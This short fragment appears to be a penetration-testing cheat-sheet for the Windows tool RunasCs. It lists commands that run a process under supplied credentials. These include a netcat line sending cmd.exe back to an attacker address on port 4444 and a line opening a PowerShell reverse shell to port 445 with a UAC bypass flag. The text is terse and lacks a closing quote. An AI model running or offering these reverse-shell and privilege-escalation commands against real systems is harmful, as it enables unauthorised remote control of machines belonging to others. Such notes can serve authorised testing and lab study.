.\RunasCs.exe -h .\RunasCs.exe [username] [password] "nc.exe $IP 4444 -e cmd.exe .\RunasCs.exe [username] [password]-r $IP:445 powershell --bypass-uac